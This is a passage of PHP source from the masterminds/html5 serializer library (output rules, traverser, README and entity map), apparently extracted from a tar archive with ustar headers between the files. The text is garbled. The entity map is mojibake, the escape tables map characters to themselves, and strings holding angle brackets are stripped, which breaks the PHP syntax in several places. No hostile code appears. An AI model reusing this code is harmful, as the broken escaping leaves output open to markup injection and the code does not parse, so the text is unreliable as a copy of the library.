$tagName) { $this->current = $working->parentNode; return true; } } while ($working = $working->parentNode); return false; } /** * Checks if the given tagname is an ancestor of the present candidate. * * If $this->current or anything above $this->current matches the given tag * name, this returns true. * * @param string $tagName * * @return bool */ protected function isAncestor($tagName) { $candidate = $this->current; while (XML_ELEMENT_NODE === $candidate->nodeType) { if ($candidate->tagName === $tagName) { return true; } $candidate = $candidate->parentNode; } return false; } /** * Returns true if the immediate parent element is of the given tagname. * * @param string $tagName * * @return bool */ protected function isParent($tagName) { return $this->current->tagName === $tagName; } } res/readability/vendor/masterminds/html5/src/HTML5/Serializer/README.md000064400000001641147577714370021542 0ustar00# The Serializer (Writer) Model The serializer roughly follows sections _8.1 Writing HTML documents_ and section _8.3 Serializing HTML fragments_ by converting DOMDocument, DOMDocumentFragment, and DOMNodeList into HTML5. [ HTML5 ] // Interface for saving. || [ Traverser ] // Walk the DOM || [ Rules ] // Convert DOM elements into strings. || [ HTML5 ] // HTML5 document or fragment in text. ## HTML5 Class Provides the top level interface for saving. ## The Traverser Walks the DOM finding each element and passing it off to the output rules to convert to HTML5. ## Output Rules The output rules are defined in the RulesInterface which can have multiple implementations. Currently, the OutputRules is the default implementation that converts a DOM as is into HTML5. ## HTML5 String The output of the process it HTML5 as a string or saved to a file.res/readability/vendor/masterminds/html5/src/HTML5/Serializer/RulesInterface.php000064400000005067147577714370023715 0ustar00'http://www.w3.org/1999/xhtml', 'attrNamespace'=>'http://www.w3.org/1999/xhtml', 'nodeName'=>'img', 'nodeName'=>array('img', 'a'), 'attrName'=>'alt', 'attrName'=>array('title', 'alt'), ), */ array( 'nodeNamespace' => 'http://www.w3.org/1999/xhtml', 'attrName' => array('href', 'hreflang', 'http-equiv', 'icon', 'id', 'keytype', 'kind', 'label', 'lang', 'language', 'list', 'maxlength', 'media', 'method', 'name', 'placeholder', 'rel', 'rows', 'rowspan', 'sandbox', 'spellcheck', 'scope', 'seamless', 'shape', 'size', 'sizes', 'span', 'src', 'srcdoc', 'srclang', 'srcset', 'start', 'step', 'style', 'summary', 'tabindex', 'target', 'title', 'type', 'value', 'width', 'border', 'charset', 'cite', 'class', 'code', 'codebase', 'color', 'cols', 'colspan', 'content', 'coords', 'data', 'datetime', 'default', 'dir', 'dirname', 'enctype', 'for', 'form', 'formaction', 'headers', 'height', 'accept', 'accept-charset', 'accesskey', 'action', 'align', 'alt', 'bgcolor', ), ), array( 'nodeNamespace' => 'http://www.w3.org/1999/xhtml', 'xpath' => 'starts-with(local-name(), \'data-\')', ), ); const DOCTYPE = ''; public function __construct($output, $options = array()) { if (isset($options['encode_entities'])) { $this->encode = $options['encode_entities']; } $this->outputMode = static::IM_IN_HTML; $this->out = $output; $this->hasHTML5 = defined('ENT_HTML5'); } public function addRule(array $rule) { $this->nonBooleanAttributes[] = $rule; } public function setTraverser(Traverser $traverser) { $this->traverser = $traverser; return $this; } public function unsetTraverser() { $this->traverser = null; return $this; } public function document($dom) { $this->doctype(); if ($dom->documentElement) { foreach ($dom->childNodes as $node) { $this->traverser->node($node); } $this->nl(); } } protected function doctype() { $this->wr(static::DOCTYPE); $this->nl(); } public function element($ele) { $name = $ele->tagName; // Per spec: // If the element has a declared namespace in the HTML, MathML or // SVG namespaces, we use the lname instead of the tagName. if ($this->traverser->isLocalElement($ele)) { $name = $ele->localName; } // If we are in SVG or MathML there is special handling. // Using if/elseif instead of switch because it's faster in PHP. if ('svg' == $name) { $this->outputMode = static::IM_IN_SVG; $name = Elements::normalizeSvgElement($name); } elseif ('math' == $name) { $this->outputMode = static::IM_IN_MATHML; } $this->openTag($ele); if (Elements::isA($name, Elements::TEXT_RAW)) { foreach ($ele->childNodes as $child) { if ($child instanceof \DOMCharacterData) { $this->wr($child->data); } elseif ($child instanceof \DOMElement) { $this->element($child); } } } else { // Handle children. if ($ele->hasChildNodes()) { $this->traverser->children($ele->childNodes); } // Close out the SVG or MathML special handling. if ('svg' == $name || 'math' == $name) { $this->outputMode = static::IM_IN_HTML; } } // If not unary, add a closing tag. if (!Elements::isA($name, Elements::VOID_TAG)) { $this->closeTag($ele); } } /** * Write a text node. * * @param \DOMText $ele The text node to write. */ public function text($ele) { if (isset($ele->parentNode) && isset($ele->parentNode->tagName) && Elements::isA($ele->parentNode->localName, Elements::TEXT_RAW)) { $this->wr($ele->data); return; } // FIXME: This probably needs some flags set. $this->wr($this->enc($ele->data)); } public function cdata($ele) { // This encodes CDATA. $this->wr($ele->ownerDocument->saveXML($ele)); } public function comment($ele) { // These produce identical output. // $this->wr(''); $this->wr($ele->ownerDocument->saveXML($ele)); } public function processorInstruction($ele) { $this->wr('wr($ele->target) ->wr(' ') ->wr($ele->data) ->wr('?>'); } /** * Write the namespace attributes. * * @param \DOMNode $ele The element being written. */ protected function namespaceAttrs($ele) { if (!$this->xpath || $this->xpath->document !== $ele->ownerDocument) { $this->xpath = new \DOMXPath($ele->ownerDocument); } foreach ($this->xpath->query('namespace::*[not(.=../../namespace::*)]', $ele) as $nsNode) { if (!in_array($nsNode->nodeValue, $this->implicitNamespaces)) { $this->wr(' ')->wr($nsNode->nodeName)->wr('="')->wr($nsNode->nodeValue)->wr('"'); } } } /** * Write the opening tag. * * Tags for HTML, MathML, and SVG are in the local name. Otherwise, use the * qualified name (8.3). * * @param \DOMNode $ele The element being written. */ protected function openTag($ele) { $this->wr('<')->wr($this->traverser->isLocalElement($ele) ? $ele->localName : $ele->tagName); $this->attrs($ele); $this->namespaceAttrs($ele); if ($this->outputMode == static::IM_IN_HTML) { $this->wr('>'); } // If we are not in html mode we are in SVG, MathML, or XML embedded content. else { if ($ele->hasChildNodes()) { $this->wr('>'); } // If there are no children this is self closing. else { $this->wr(' />'); } } } protected function attrs($ele) { // FIXME: Needs support for xml, xmlns, xlink, and namespaced elements. if (!$ele->hasAttributes()) { return $this; } // TODO: Currently, this always writes name="value", and does not do // value-less attributes. $map = $ele->attributes; $len = $map->length; for ($i = 0; $i < $len; ++$i) { $node = $map->item($i); $val = $this->enc($node->value, true); // XXX: The spec says that we need to ensure that anything in // the XML, XMLNS, or XLink NS's should use the canonical // prefix. It seems that DOM does this for us already, but there // may be exceptions. $name = $node->nodeName; // Special handling for attributes in SVG and MathML. // Using if/elseif instead of switch because it's faster in PHP. if ($this->outputMode == static::IM_IN_SVG) { $name = Elements::normalizeSvgAttribute($name); } elseif ($this->outputMode == static::IM_IN_MATHML) { $name = Elements::normalizeMathMlAttribute($name); } $this->wr(' ')->wr($name); if ((isset($val) && '' !== $val) || $this->nonBooleanAttribute($node)) { $this->wr('="')->wr($val)->wr('"'); } } } protected function nonBooleanAttribute(\DOMAttr $attr) { $ele = $attr->ownerElement; foreach ($this->nonBooleanAttributes as $rule) { if (isset($rule['nodeNamespace']) && $rule['nodeNamespace'] !== $ele->namespaceURI) { continue; } if (isset($rule['attNamespace']) && $rule['attNamespace'] !== $attr->namespaceURI) { continue; } if (isset($rule['nodeName']) && !is_array($rule['nodeName']) && $rule['nodeName'] !== $ele->localName) { continue; } if (isset($rule['nodeName']) && is_array($rule['nodeName']) && !in_array($ele->localName, $rule['nodeName'], true)) { continue; } if (isset($rule['attrName']) && !is_array($rule['attrName']) && $rule['attrName'] !== $attr->localName) { continue; } if (isset($rule['attrName']) && is_array($rule['attrName']) && !in_array($attr->localName, $rule['attrName'], true)) { continue; } if (isset($rule['xpath'])) { $xp = $this->getXPath($attr); if (isset($rule['prefixes'])) { foreach ($rule['prefixes'] as $nsPrefix => $ns) { $xp->registerNamespace($nsPrefix, $ns); } } if (!$xp->evaluate($rule['xpath'], $attr)) { continue; } } return true; } return false; } private function getXPath(\DOMNode $node) { if (!$this->xpath) { $this->xpath = new \DOMXPath($node->ownerDocument); } return $this->xpath; } /** * Write the closing tag. * * Tags for HTML, MathML, and SVG are in the local name. Otherwise, use the * qualified name (8.3). * * @param \DOMNode $ele The element being written. */ protected function closeTag($ele) { if ($this->outputMode == static::IM_IN_HTML || $ele->hasChildNodes()) { $this->wr('wr($this->traverser->isLocalElement($ele) ? $ele->localName : $ele->tagName)->wr('>'); } } /** * Write to the output. * * @param string $text The string to put into the output * * @return $this */ protected function wr($text) { fwrite($this->out, $text); return $this; } /** * Write a new line character. * * @return $this */ protected function nl() { fwrite($this->out, PHP_EOL); return $this; } /** * Encode text. * * When encode is set to false, the default value, the text passed in is * escaped per section 8.3 of the html5 spec. For details on how text is * escaped see the escape() method. * * When encoding is set to true the text is converted to named character * references where appropriate. Section 8.1.4 Character references of the * html5 spec refers to using named character references. This is useful for * characters that can't otherwise legally be used in the text. * * The named character references are listed in section 8.5. * * @see http://www.w3.org/TR/2013/CR-html5-20130806/syntax.html#named-character-references True encoding will turn all named character references into their entities. * This includes such characters as +.# and many other common ones. By default * encoding here will just escape &'<>". * * Note, PHP 5.4+ has better html5 encoding. * * @todo Use the Entities class in php 5.3 to have html5 entities. * * @param string $text Text to encode. * @param bool $attribute True if we are encoding an attrubute, false otherwise. * * @return string The encoded text. */ protected function enc($text, $attribute = false) { // Escape the text rather than convert to named character references. if (!$this->encode) { return $this->escape($text, $attribute); } // If we are in PHP 5.4+ we can use the native html5 entity functionality to // convert the named character references. if ($this->hasHTML5) { return htmlentities($text, ENT_HTML5 | ENT_SUBSTITUTE | ENT_QUOTES, 'UTF-8', false); } // If a version earlier than 5.4 html5 entities are not entirely handled. // This manually handles them. else { return strtr($text, HTML5Entities::$map); } } /** * Escape test. * * According to the html5 spec section 8.3 Serializing HTML fragments, text * within tags that are not style, script, xmp, iframe, noembed, and noframes * need to be properly escaped. * * The & should be converted to &, no breaking space unicode characters * converted to  , when in attribute mode the " should be converted to * ", and when not in attribute mode the < and > should be converted to * < and >. * * @see http://www.w3.org/TR/2013/CR-html5-20130806/syntax.html#escapingString * * @param string $text Text to escape. * @param bool $attribute True if we are escaping an attrubute, false otherwise. */ protected function escape($text, $attribute = false) { // Not using htmlspecialchars because, while it does escaping, it doesn't // match the requirements of section 8.5. For example, it doesn't handle // non-breaking spaces. if ($attribute) { $replace = array( '"' => '"', '&' => '&', "\xc2\xa0" => ' ', ); } else { $replace = array( '<' => '<', '>' => '>', '&' => '&', "\xc2\xa0" => ' ', ); } return strtr($text, $replace); } } res/readability/vendor/masterminds/html5/src/HTML5/Serializer/Traverser.php000064400000010315147577714370022747 0ustar00 'html', 'http://www.w3.org/1998/Math/MathML' => 'math', 'http://www.w3.org/2000/svg' => 'svg', ); protected $dom; protected $options; protected $encode = false; protected $rules; protected $out; /** * Create a traverser. * * @param \DOMNode|\DOMNodeList $dom The document or node to traverse. * @param resource $out A stream that allows writing. The traverser will output into this * stream. * @param array $options An array of options for the traverser as key/value pairs. These include: * - encode_entities: A bool to specify if full encding should happen for all named * charachter references. Defaults to false which escapes &'<>". * - output_rules: The path to the class handling the output rules. */ public function __construct($dom, $out, RulesInterface $rules, $options = array()) { $this->dom = $dom; $this->out = $out; $this->rules = $rules; $this->options = $options; $this->rules->setTraverser($this); } /** * Tell the traverser to walk the DOM. * * @return resource $out Returns the output stream. */ public function walk() { if ($this->dom instanceof \DOMDocument) { $this->rules->document($this->dom); } elseif ($this->dom instanceof \DOMDocumentFragment) { // Document fragments are a special case. Only the children need to // be serialized. if ($this->dom->hasChildNodes()) { $this->children($this->dom->childNodes); } } // If NodeList, loop elseif ($this->dom instanceof \DOMNodeList) { // If this is a NodeList of DOMDocuments this will not work. $this->children($this->dom); } // Else assume this is a DOMNode-like datastructure. else { $this->node($this->dom); } return $this->out; } /** * Process a node in the DOM. * * @param mixed $node A node implementing \DOMNode. */ public function node($node) { // A listing of types is at http://php.net/manual/en/dom.constants.php switch ($node->nodeType) { case XML_ELEMENT_NODE: $this->rules->element($node); break; case XML_TEXT_NODE: $this->rules->text($node); break; case XML_CDATA_SECTION_NODE: $this->rules->cdata($node); break; case XML_PI_NODE: $this->rules->processorInstruction($node); break; case XML_COMMENT_NODE: $this->rules->comment($node); break; // Currently we don't support embedding DTDs. default: //print ''; break; } } /** * Walk through all the nodes on a node list. * * @param \DOMNodeList $nl A list of child elements to walk through. */ public function children($nl) { foreach ($nl as $node) { $this->node($node); } } /** * Is an element local? * * @param mixed $ele An element that implement \DOMNode. * * @return bool true if local and false otherwise. */ public function isLocalElement($ele) { $uri = $ele->namespaceURI; if (empty($uri)) { return false; } return isset(static::$local_ns[$uri]); } } res/readability/vendor/masterminds/html5/src/HTML5/Serializer/HTML5Entities.php000064400000126404147577714370023337 0ustar00 ' ', "\n" => ' ', '!' => '!', '"' => '"', '#' => '#', '$' => '$', '%' => '%', '&' => '&', '\'' => ''', '(' => '(', ')' => ')', '*' => '*', '+' => '+', ',' => ',', '.' => '.', '/' => '/', ':' => ':', ';' => ';', '<' => '<', '<⃒' => '&nvlt', '=' => '=', '=⃥' => '&bne', '>' => '>', '>⃒' => '&nvgt', '?' => '?', '@' => '@', '[' => '[', '\\' => '\', ']' => ']', '^' => '^', '_' => '_', '`' => '`', 'fj' => '&fjlig', '{' => '{', '|' => '|', '}' => '}', ' ' => ' ', '¡' => '¡', '¢' => '¢', '£' => '£', '¤' => '¤', 'Â¥' => '¥', '¦' => '¦', '§' => '§', '¨' => '¨', '©' => '©', 'ª' => 'ª', '«' => '«', '¬' => '¬', '­' => '­', '®' => '®', '¯' => '¯', '°' => '°', '±' => '±', '²' => '²', '³' => '³', '´' => '´', 'µ' => 'µ', '¶' => '¶', '·' => '·', '¸' => '¸', '¹' => '¹', 'º' => 'º', '»' => '»', '¼' => '¼', '½' => '½', '¾' => '¾', '¿' => '¿', 'À' => 'À', 'Ã' => 'Á', 'Â' => 'Â', 'Ã' => 'Ã', 'Ä' => 'Ä', 'Ã…' => 'Å', 'Æ' => 'Æ', 'Ç' => 'Ç', 'È' => 'È', 'É' => 'É', 'Ê' => 'Ê', 'Ë' => 'Ë', 'ÃŒ' => 'Ì', 'Ã' => 'Í', 'ÃŽ' => 'Î', 'Ã' => 'Ï', 'Ã' => 'Ð', 'Ñ' => 'Ñ', 'Ã’' => 'Ò', 'Ó' => 'Ó', 'Ô' => 'Ô', 'Õ' => 'Õ', 'Ö' => 'Ö', '×' => '×', 'Ø' => 'Ø', 'Ù' => 'Ù', 'Ú' => 'Ú', 'Û' => 'Û', 'Ãœ' => 'Ü', 'Ã' => 'Ý', 'Þ' => 'Þ', 'ß' => 'ß', 'à' => 'à', 'á' => 'á', 'â' => 'â', 'ã' => 'ã', 'ä' => 'ä', 'Ã¥' => 'å', 'æ' => 'æ', 'ç' => 'ç', 'è' => 'è', 'é' => 'é', 'ê' => 'ê', 'ë' => 'ë', 'ì' => 'ì', 'í' => 'í', 'î' => 'î', 'ï' => 'ï', 'ð' => 'ð', 'ñ' => 'ñ', 'ò' => 'ò', 'ó' => 'ó', 'ô' => 'ô', 'õ' => 'õ', 'ö' => 'ö', '÷' => '÷', 'ø' => 'ø', 'ù' => 'ù', 'ú' => 'ú', 'û' => 'û', 'ü' => 'ü', 'ý' => 'ý', 'þ' => 'þ', 'ÿ' => 'ÿ', 'Ä€' => 'Ā', 'Ä' => 'ā', 'Ä‚' => 'Ă', 'ă' => 'ă', 'Ä„' => 'Ą', 'Ä…' => 'ą', 'Ć' => 'Ć', 'ć' => 'ć', 'Ĉ' => 'Ĉ', 'ĉ' => 'ĉ', 'ÄŠ' => 'Ċ', 'Ä‹' => 'ċ', 'ÄŒ' => 'Č', 'Ä' => 'č', 'ÄŽ' => 'Ď', 'Ä' => 'ď', 'Ä' => 'Đ', 'Ä‘' => 'đ', 'Ä’' => 'Ē', 'Ä“' => 'ē', 'Ä–' => 'Ė', 'Ä—' => 'ė', 'Ę' => 'Ę', 'Ä™' => 'ę', 'Äš' => 'Ě', 'Ä›' => 'ě', 'Äœ' => 'Ĝ', 'Ä' => 'ĝ', 'Äž' => 'Ğ', 'ÄŸ' => 'ğ', 'Ä ' => 'Ġ', 'Ä¡' => 'ġ', 'Ä¢' => 'Ģ', 'Ĥ' => 'Ĥ', 'Ä¥' => 'ĥ', 'Ħ' => 'Ħ', 'ħ' => 'ħ', 'Ĩ' => 'Ĩ', 'Ä©' => 'ĩ', 'Ī' => 'Ī', 'Ä«' => 'ī', 'Ä®' => 'Į', 'į' => 'į', 'Ä°' => 'İ', 'ı' => 'ı', 'IJ' => 'IJ', 'ij' => 'ij', 'Ä´' => 'Ĵ', 'ĵ' => 'ĵ', 'Ķ' => 'Ķ', 'Ä·' => 'ķ', 'ĸ' => 'ĸ', 'Ĺ' => 'Ĺ', 'ĺ' => 'ĺ', 'Ä»' => 'Ļ', 'ļ' => 'ļ', 'Ľ' => 'Ľ', 'ľ' => 'ľ', 'Ä¿' => 'Ŀ', 'Å€' => 'ŀ', 'Å' => 'Ł', 'Å‚' => 'ł', 'Ń' => 'Ń', 'Å„' => 'ń', 'Å…' => 'Ņ', 'ņ' => 'ņ', 'Ň' => 'Ň', 'ň' => 'ň', 'ʼn' => 'ʼn', 'ÅŠ' => 'Ŋ', 'Å‹' => 'ŋ', 'ÅŒ' => 'Ō', 'Å' => 'ō', 'Å' => 'Ő', 'Å‘' => 'ő', 'Å’' => 'Œ', 'Å“' => 'œ', 'Å”' => 'Ŕ', 'Å•' => 'ŕ', 'Å–' => 'Ŗ', 'Å—' => 'ŗ', 'Ř' => 'Ř', 'Å™' => 'ř', 'Åš' => 'Ś', 'Å›' => 'ś', 'Åœ' => 'Ŝ', 'Å' => 'ŝ', 'Åž' => 'Ş', 'ÅŸ' => 'ş', 'Å ' => 'Š', 'Å¡' => 'š', 'Å¢' => 'Ţ', 'Å£' => 'ţ', 'Ť' => 'Ť', 'Å¥' => 'ť', 'Ŧ' => 'Ŧ', 'ŧ' => 'ŧ', 'Ũ' => 'Ũ', 'Å©' => 'ũ', 'Ū' => 'Ū', 'Å«' => 'ū', 'Ŭ' => 'Ŭ', 'Å­' => 'ŭ', 'Å®' => 'Ů', 'ů' => 'ů', 'Å°' => 'Ű', 'ű' => 'ű', 'Ų' => 'Ų', 'ų' => 'ų', 'Å´' => 'Ŵ', 'ŵ' => 'ŵ', 'Ŷ' => 'Ŷ', 'Å·' => 'ŷ', 'Ÿ' => 'Ÿ', 'Ź' => 'Ź', 'ź' => 'ź', 'Å»' => 'Ż', 'ż' => 'ż', 'Ž' => 'Ž', 'ž' => 'ž', 'Æ’' => 'ƒ', 'Ƶ' => 'Ƶ', 'ǵ' => 'ǵ', 'È·' => 'ȷ', 'ˆ' => 'ˆ', 'ˇ' => 'ˇ', '˘' => '˘', 'Ë™' => '˙', 'Ëš' => '˚', 'Ë›' => '˛', 'Ëœ' => '˜', 'Ë' => '˝', 'Ì‘' => '̑', 'Α' => 'Α', 'Î’' => 'Β', 'Γ' => 'Γ', 'Δ' => 'Δ', 'Ε' => 'Ε', 'Ζ' => 'Ζ', 'Η' => 'Η', 'Θ' => 'Θ', 'Ι' => 'Ι', 'Κ' => 'Κ', 'Λ' => 'Λ', 'Îœ' => 'Μ', 'Î' => 'Ν', 'Ξ' => 'Ξ', 'Ο' => 'Ο', 'Π' => 'Π', 'Ρ' => 'Ρ', 'Σ' => 'Σ', 'Τ' => 'Τ', 'Î¥' => 'Υ', 'Φ' => 'Φ', 'Χ' => 'Χ', 'Ψ' => 'Ψ', 'Ω' => 'Ω', 'α' => 'α', 'β' => 'β', 'γ' => 'γ', 'δ' => 'δ', 'ε' => 'ε', 'ζ' => 'ζ', 'η' => 'η', 'θ' => 'θ', 'ι' => 'ι', 'κ' => 'κ', 'λ' => 'λ', 'μ' => 'μ', 'ν' => 'ν', 'ξ' => 'ξ', 'ο' => 'ο', 'Ï€' => 'π', 'Ï' => 'ρ', 'Ï‚' => 'ς', 'σ' => 'σ', 'Ï„' => 'τ', 'Ï…' => 'υ', 'φ' => 'φ', 'χ' => 'χ', 'ψ' => 'ψ', 'ω' => 'ω', 'Ï‘' => 'ϑ', 'Ï’' => 'ϒ', 'Ï•' => 'ϕ', 'Ï–' => 'ϖ', 'Ïœ' => 'Ϝ', 'Ï' => 'ϝ', 'Ï°' => 'ϰ', 'ϱ' => 'ϱ', 'ϵ' => 'ϵ', '϶' => '϶', 'Ð' => 'Ё', 'Ђ' => 'Ђ', 'Ѓ' => 'Ѓ', 'Є' => 'Є', 'Ð…' => 'Ѕ', 'І' => 'І', 'Ї' => 'Ї', 'Ј' => 'Ј', 'Љ' => 'Љ', 'Њ' => 'Њ', 'Ћ' => 'Ћ', 'ÐŒ' => 'Ќ', 'ÐŽ' => 'Ў', 'Ð' => 'Џ', 'Ð' => 'А', 'Б' => 'Б', 'Ð’' => 'В', 'Г' => 'Г', 'Д' => 'Д', 'Е' => 'Е', 'Ж' => 'Ж', 'З' => 'З', 'И' => 'И', 'Й' => 'Й', 'К' => 'К', 'Л' => 'Л', 'Ðœ' => 'М', 'Ð' => 'Н', 'О' => 'О', 'П' => 'П', 'Р' => 'Р', 'С' => 'С', 'Т' => 'Т', 'У' => 'У', 'Ф' => 'Ф', 'Ð¥' => 'Х', 'Ц' => 'Ц', 'Ч' => 'Ч', 'Ш' => 'Ш', 'Щ' => 'Щ', 'Ъ' => 'Ъ', 'Ы' => 'Ы', 'Ь' => 'Ь', 'Э' => 'Э', 'Ю' => 'Ю', 'Я' => 'Я', 'а' => 'а', 'б' => 'б', 'в' => 'в', 'г' => 'г', 'д' => 'д', 'е' => 'е', 'ж' => 'ж', 'з' => 'з', 'и' => 'и', 'й' => 'й', 'к' => 'к', 'л' => 'л', 'м' => 'м', 'н' => 'н', 'о' => 'о', 'п' => 'п', 'Ñ€' => 'р', 'Ñ' => 'с', 'Ñ‚' => 'т', 'у' => 'у', 'Ñ„' => 'ф', 'Ñ…' => 'х', 'ц' => 'ц', 'ч' => 'ч', 'ш' => 'ш', 'щ' => 'щ', 'ÑŠ' => 'ъ', 'Ñ‹' => 'ы', 'ÑŒ' => 'ь', 'Ñ' => 'э', 'ÑŽ' => 'ю', 'Ñ' => 'я', 'Ñ‘' => 'ё', 'Ñ’' => 'ђ', 'Ñ“' => 'ѓ', 'Ñ”' => 'є', 'Ñ•' => 'ѕ', 'Ñ–' => 'і', 'Ñ—' => 'ї', 'ј' => 'ј', 'Ñ™' => 'љ', 'Ñš' => 'њ', 'Ñ›' => 'ћ', 'Ñœ' => 'ќ', 'Ñž' => 'ў', 'ÑŸ' => 'џ', ' ' => ' ', ' ' => ' ', ' ' => ' ', ' ' => ' ', ' ' => ' ', ' ' => ' ', ' ' => ' ', ' ' => ' ', '​' => '​', '‌' => '‌', 'â€' => '‍', '‎' => '‎', 'â€' => '‏', 'â€' => '‐', '–' => '–', '—' => '—', '―' => '―', '‖' => '‖', '‘' => '‘', '’' => '’', '‚' => '‚', '“' => '“', 'â€' => '”', '„' => '„', '†' => '†', '‡' => '‡', '•' => '•', '‥' => '‥', '…' => '…', '‰' => '‰', '‱' => '‱', '′' => '′', '″' => '″', '‴' => '‴', '‵' => '‵', '‹' => '‹', '›' => '›', '‾' => '‾', 'â' => '⁁', 'âƒ' => '⁃', 'â„' => '⁄', 'â' => '⁏', 'â—' => '⁗', 'âŸ' => ' ', 'âŸâ€Š' => '&ThickSpace', 'â ' => '⁠', 'â¡' => '⁡', 'â¢' => '⁢', 'â£' => '⁣', '€' => '€', '⃛' => '⃛', '⃜' => '⃜', 'â„‚' => 'ℂ', 'â„…' => '℅', 'â„Š' => 'ℊ', 'â„‹' => 'ℋ', 'â„Œ' => 'ℌ', 'â„' => 'ℍ', 'â„Ž' => 'ℎ', 'â„' => 'ℏ', 'â„' => 'ℐ', 'â„‘' => 'ℑ', 'â„’' => 'ℒ', 'â„“' => 'ℓ', 'â„•' => 'ℕ', 'â„–' => '№', 'â„—' => '℗', '℘' => '℘', 'â„™' => 'ℙ', 'â„š' => 'ℚ', 'â„›' => 'ℛ', 'â„œ' => 'ℜ', 'â„' => 'ℝ', 'â„ž' => '℞', 'â„¢' => '™', 'ℤ' => 'ℤ', '℧' => '℧', 'ℨ' => 'ℨ', 'â„©' => '℩', 'ℬ' => 'ℬ', 'â„­' => 'ℭ', 'ℯ' => 'ℯ', 'â„°' => 'ℰ', 'ℱ' => 'ℱ', 'ℳ' => 'ℳ', 'â„´' => 'ℴ', 'ℵ' => 'ℵ', 'ℶ' => 'ℶ', 'â„·' => 'ℷ', 'ℸ' => 'ℸ', 'â……' => 'ⅅ', 'â…†' => 'ⅆ', 'â…‡' => 'ⅇ', 'â…ˆ' => 'ⅈ', 'â…“' => '⅓', 'â…”' => '⅔', 'â…•' => '⅕', 'â…–' => '⅖', 'â…—' => '⅗', 'â…˜' => '⅘', 'â…™' => '⅙', 'â…š' => '⅚', 'â…›' => '⅛', 'â…œ' => '⅜', 'â…' => '⅝', 'â…ž' => '⅞', 'â†' => '←', '↑' => '↑', '→' => '→', '↓' => '↓', '↔' => '↔', '↕' => '↕', '↖' => '↖', '↗' => '↗', '↘' => '↘', '↙' => '↙', '↚' => '↚', '↛' => '↛', 'â†' => '↝', 'â†Ì¸' => '&nrarrw', '↞' => '↞', '↟' => '↟', '↠' => '↠', '↡' => '↡', '↢' => '↢', '↣' => '↣', '↤' => '↤', '↥' => '↥', '↦' => '↦', '↧' => '↧', '↩' => '↩', '↪' => '↪', '↫' => '↫', '↬' => '↬', '↭' => '↭', '↮' => '↮', '↰' => '↰', '↱' => '↱', '↲' => '↲', '↳' => '↳', '↵' => '↵', '↶' => '↶', '↷' => '↷', '↺' => '↺', '↻' => '↻', '↼' => '↼', '↽' => '↽', '↾' => '↾', '↿' => '↿', '⇀' => '⇀', 'â‡' => '⇁', '⇂' => '⇂', '⇃' => '⇃', '⇄' => '⇄', '⇅' => '⇅', '⇆' => '⇆', '⇇' => '⇇', '⇈' => '⇈', '⇉' => '⇉', '⇊' => '⇊', '⇋' => '⇋', '⇌' => '⇌', 'â‡' => '⇍', '⇎' => '⇎', 'â‡' => '⇏', 'â‡' => '⇐', '⇑' => '⇑', '⇒' => '⇒', '⇓' => '⇓', '⇔' => '⇔', '⇕' => '⇕', '⇖' => '⇖', '⇗' => '⇗', '⇘' => '⇘', '⇙' => '⇙', '⇚' => '⇚', '⇛' => '⇛', 'â‡' => '⇝', '⇤' => '⇤', '⇥' => '⇥', '⇵' => '⇵', '⇽' => '⇽', '⇾' => '⇾', '⇿' => '⇿', '∀' => '∀', 'âˆ' => '∁', '∂' => '∂', '∂̸' => '&npart', '∃' => '∃', '∄' => '∄', '∅' => '∅', '∇' => '∇', '∈' => '∈', '∉' => '∉', '∋' => '∋', '∌' => '∌', 'âˆ' => '∏', 'âˆ' => '∐', '∑' => '∑', '−' => '−', '∓' => '∓', '∔' => '∔', '∖' => '∖', '∗' => '∗', '∘' => '∘', '√' => '√', 'âˆ' => '∝', '∞' => '∞', '∟' => '∟', '∠' => '∠', '∠⃒' => '&nang', '∡' => '∡', '∢' => '∢', '∣' => '∣', '∤' => '∤', '∥' => '∥', '∦' => '∦', '∧' => '∧', '∨' => '∨', '∩' => '∩', '∩︀' => '&caps', '∪' => '∪', '∪︀' => '&cups', '∫' => '∫', '∬' => '∬', '∭' => '∭', '∮' => '∮', '∯' => '∯', '∰' => '∰', '∱' => '∱', '∲' => '∲', '∳' => '∳', '∴' => '∴', '∵' => '∵', '∶' => '∶', '∷' => '∷', '∸' => '∸', '∺' => '∺', '∻' => '∻', '∼' => '∼', '∼⃒' => '&nvsim', '∽' => '∽', '∽̱' => '&race', '∾' => '∾', '∾̳' => '&acE', '∿' => '∿', '≀' => '≀', 'â‰' => '≁', '≂' => '≂', '≂̸' => '&nesim', '≃' => '≃', '≄' => '≄', '≅' => '≅', '≆' => '≆', '≇' => '≇', '≈' => '≈', '≉' => '≉', '≊' => '≊', '≋' => '≋', '≋̸' => '&napid', '≌' => '≌', 'â‰' => '≍', 'â‰âƒ’' => '&nvap', '≎' => '≎', '≎̸' => '&nbump', 'â‰' => '≏', 'â‰Ì¸' => '&nbumpe', 'â‰' => '≐', 'â‰Ì¸' => '&nedot', '≑' => '≑', '≒' => '≒', '≓' => '≓', '≔' => '≔', '≕' => '≕', '≖' => '≖', '≗' => '≗', '≙' => '≙', '≚' => '≚', '≜' => '≜', '≟' => '≟', '≠' => '≠', '≡' => '≡', '≡⃥' => '&bnequiv', '≢' => '≢', '≤' => '≤', '≤⃒' => '&nvle', '≥' => '≥', '≥⃒' => '&nvge', '≦' => '≦', '≦̸' => '&nlE', '≧' => '≧', '≧̸' => '&NotGreaterFullEqual', '≨' => '≨', '≨︀' => '&lvertneqq', '≩' => '≩', '≩︀' => '&gvertneqq', '≪' => '≪', '≪̸' => '&nLtv', '≪⃒' => '&nLt', '≫' => '≫', '≫̸' => '&NotGreaterGreater', '≫⃒' => '&nGt', '≬' => '≬', '≭' => '≭', '≮' => '≮', '≯' => '≯', '≰' => '≰', '≱' => '≱', '≲' => '≲', '≳' => '≳', '≴' => '≴', '≵' => '≵', '≶' => '≶', '≷' => '≷', '≸' => '≸', '≹' => '≹', '≺' => '≺', '≻' => '≻', '≼' => '≼', '≽' => '≽', '≾' => '≾', '≿' => '≿', '≿̸' => '&NotSucceedsTilde', '⊀' => '⊀', 'âŠ' => '⊁', '⊂' => '⊂', '⊂⃒' => '&vnsub', '⊃' => '⊃', '⊃⃒' => '&nsupset', '⊄' => '⊄', '⊅' => '⊅', '⊆' => '⊆', '⊇' => '⊇', '⊈' => '⊈', '⊉' => '⊉', '⊊' => '⊊', '⊊︀' => '&vsubne', '⊋' => '⊋', '⊋︀' => '&vsupne', 'âŠ' => '⊍', '⊎' => '⊎', 'âŠ' => '⊏', 'âŠÌ¸' => '&NotSquareSubset', 'âŠ' => '⊐', 'âŠÌ¸' => '&NotSquareSuperset', '⊑' => '⊑', '⊒' => '⊒', '⊓' => '⊓', '⊓︀' => '&sqcaps', '⊔' => 